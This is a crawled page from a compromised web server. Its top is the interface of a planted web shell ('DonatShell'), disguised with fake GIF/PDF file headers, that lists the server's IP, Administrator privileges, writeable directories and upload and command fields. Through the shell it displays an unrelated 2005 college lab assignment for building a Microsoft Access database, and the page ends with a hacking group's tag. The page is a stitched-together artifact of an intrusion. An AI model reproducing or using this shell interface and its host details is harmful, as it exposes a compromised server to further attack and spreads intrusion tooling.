GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/CST1601/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/CST1601/CST1601-Lab1.htm
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


<html>
<head>
  <title>CST1601-Lab1</title>
<style type="text/css">
td {
	vertical-align:top;
}
td.number {
	text-align:right;
}
th {
	text-align:left;
	vertical-align:top;
}
li {
	vertical-align:top;
}
li.instruction {
	margin: 5px 0px 0px 0px;
}
</style>


</head>
<body bgcolor="LemonChiffon" text="Black" link="Blue" vlink="Blue" alink="Red">
<div align="center">

  <table border="0" cellpadding="0" cellspacing="0" width="100%">
    <tr><td align="left"><font size="-1"><b>CST1601-Lab1&nbsp;</b></font></td><td align="right"><font size="-1"><b>&nbsp;2005.01.14</b></font></td></tr>
</table>
<div>
<h1>CST1601
<br>
Database Programming - Lab1
</h1>
</div>
<div>
<!-- MetaLanguage3 -->
<!-- Lab -->






<br>
<br>

In the previous modules you have learned how to:
<ol start="3">

	<!-- Level I -->
	<!-- Tutorial01 1 -->
	  <li> <font color="Green">Define field, record, table, relational database, primary key, and foreign key</font>.
	  <li> <font color="Green">Open a database and identify the components of the Access and Database windows</font>.
	  <li> <font color="Green">Open and navigate tables</font>.
	  <li> <font color="Green">Describe how Access saves a database</font>.
	  <li> <font color="Green">Open, navigate, create and sort queries</font>.
	  <li> <font color="Green">Create, preview and navigate a forms and reports</font>.
	<!-- Tutorial02 9 ! -->
	  <li> <font color="Green">Define database design</font>.
	  <li> <font color="Green">Design, create, and modify tables</font>.
	  <li> <font color="Green">Manage and import table data</font>.
	<!-- Tutorial03 12 ! -->
	  <li> <font color="Green">Create and use queries</font>.
	  <li> <font color="Green">Define table relationships</font>.
	  <li> <font color="Green">Sort data, define record selection criteria, and perform calculations using queries</font>.
	<!-- Tutorial04 15 ! -->
	  <li> <font color="Green">Create and use forms</font>.
	  <li> <font color="Green">Define form data, record selection, and manage table data using forms</font>.
	  <li> <font color="Green">Use sub-forms</font>.
	  <li> <font color="Green">Create and use reports and define report data and record selection</font>.
 </ol>
It is now time to evaluate how well you learned these objectives.

<br>
<br>
<table><tr valign="top"><td>
<font color="Navy"><h3><b>Personalized Instruction: </b></h3></font>
<font color="Green">New Perspectives Microsoft Access 2003 Comprehensive (ISBN: 0-619-20672-1)</font> and<br>
<font color="Green">New Perspectives Microsoft Access 2003 Comprehensive Second Edition (ISBN: 0-619-26811-5)</font>
<ol>

	  <li class="instruction"> Create a new database called <b>CST1601-1.mdb</b>.
	  <li> Create a table called <b>Instructors</b> with these fields:
	<table border=1>
		<tr><td><b>Field Name</b></td>		<td><b>Data Type</b></td>	<td><b>Field Size</b></td>	<td><b>Indexed</b></td>		<td><b>Primary Key</b></td>	</tr>
		<tr><td>InstructorID</td>		<td>AutoNumber</td>		<td>Long Integer</td>		<td>Yes (No Duplicates)</td>	<td>Yes</td>			</tr>
		<tr><td>FirstName</td>			<td>Text</td>			<td>24</td>			<td>No</td>			<td>No</td>			</tr>
		<tr><td>LastName</td>			<td>Text</td>			<td>24</td>			<td>No</td>			<td>No</td>			</tr>
		<tr><td>OfficePhoneNumber</td>		<td>Text</td>			<td>12</td>			<td>No</td>			<td>No</td>			</tr>
		<tr><td>EmailAddress</td>		<td>Text</td>			<td>128</td>			<td>No</td>			<td>No</td>			</tr>
	</table>
	  <li class="instruction"> Create a form called <b>InstructorEntry</b> and use it to enter this data into the <b>Instructors</b> table you just created:
	<table border=1>
		<tr><td><b>FirstName</b></td>		<td><b>LastName</b></td>		<td><b>OfficePhoneNumber</b></td><td><b>EmailAddress</b></td>					</tr>
		<tr><td>Rocky</td>			<td>Hyberger</td>		<td>3202340274</td>		<td>rhyberger@ridgewater.edu</td>	</tr>
		<tr><td>Allen</td>			<td>Benusa</td>			<td>3202340333</td>		<td>abenusa@ridgewater.edu</td>	</tr>
		<tr><td>Jeff</td>			<td>Polman</td>			<td>3202340362</td>		<td>jpolman@ridgewater.edu</td>	</tr>
		<tr><td>Jim</td>			<td>Martinson</td>		<td>3202340335</td>		<td>jmartinson@ridgewater.edu</td></tr>
	</table>
	  <li class="instruction"> Create a query called <b>InstructorByLastName</b> which displays FirstName, LastName, OfficePhoneNumber, and EmailAddress sorted by LastName.
	  <li class="instruction"> Create a query called <b>InstructorByEmailAddress</b> which displays EmailAddress, FirstName, LastName, and OfficePhoneNumber sorted by EmailAddress.
	  <li class="instruction"> Create a report called <b>InstructorReport</b> which displays the information from the <b>InstructorByEmailAddress</b> query in the following form:<br>

		<table border=1><tr><td>Instructor: <b>FirstName LastName</b><br>
Email address: <b>EmailAddress</b><br>
Phone number: <b>OfficePhoneNumber</b><br>
</td></tr></table>
		Display the <b>OfficePhoneNumber</b> in the report in the form ARC-PRE-NUMB where ARC is the area code, PRE is the prefix, and NUMB is the phone number.
	  <li class="instruction"> When you are done, email the <b>CST1601-1.mdb</b> database to <a href="mailto:jim.martinson@ridgewater.edu">jim.martinson@ridgewater.edu</a> with the subject being <b>Assignment-CST1601-Lab1</b>. 
 </ol>
</td></tr></table>

<br>
<table><tr valign="top"><td>
<font color="Navy"><h3><b>Evaluations: </b></h3></font>
This is your first formal evaluation for this course.
It will be used to evaluate your progress with the Level I tutorials.
This lab will be graded on a percentage and count as 20% of your grade for this course.
If you have any questions about the assignment you can email me at <a href="mailto:jim.martinson@ridgewater.edu">jim.martinson@ridgewater.edu</a> or make an appointment to see me.
</td></tr></table>

<br>
<table><tr valign="top"><td>
<font color="Navy"><h3><b>Description: </b></h3></font>
Demonstrate your ability to create a table, a form, queries, and a report.
</td></tr></table>


<div>
<table><tr><td>
<font color="Navy"><h3><b>References and Resources: </b></h3></font>
<ol>
 <li> <table border="0" cellspacing="0" cellpadding="0"><tr valign="bottom"><td><table border="0" frame="void" cellpading="0" cellspacing="0">
  <tr valign="bottom">
    
    <td>
      <i>New Perspectives Microsoft Access 2003 Comprehensive</i><br>
      
      Joseph J. Adamski and Kathleen T. Finnegan<br>
      Thomson Course Technology ©2004<br>
      ISBN: 0-619-20672-1<br>
    </td>
  </tr>
</table>
</td><td>(Student supplied textbook)</td></tr></table>
  <li> Microsoft Access 2003 Software (Installed on leased laptop or student supplied) 
  <li> Computer system with OS (Student supplied equipment)
  <li> Course Instructional Guide (School supplied handout)
 </ol>
</td></tr></table>


<div>

Return to the <a href="CST1601-Syllabus.htm">Syllabus</a>, <a href="CST1601-InstructionalGuide.htm">Instructional Guide</a>,
or the <a href="javascript:history.back();">previous page</a>.


<div>

<table><tr valign="top"><td>
<font color="Navy"><h3><b>Version Information: </b></h3></font>
<table>
<tr><td>2005.01.14</td><td>Module converted to new text.</td><td>jfm</td></tr>
</table>
</td></tr></table>

<br>
<br>
<br>
<br>


<div align="center">
<div>
Author: <a href="../../Instructors/?Author=jfm">Jim Martinson</a>
<div>

  <table border="0" cellpadding="0" cellspacing="0" width="100%">
    <tr><td align="left"><font size="-1"><b>CST1601-Lab1&nbsp;</b></font></td><td align="right"><font size="-1"><b>&nbsp;2005.01.14</b></font></td></tr>
</table>
</div>

</body>
</html>

Anon7 - 2022
AnonSec Team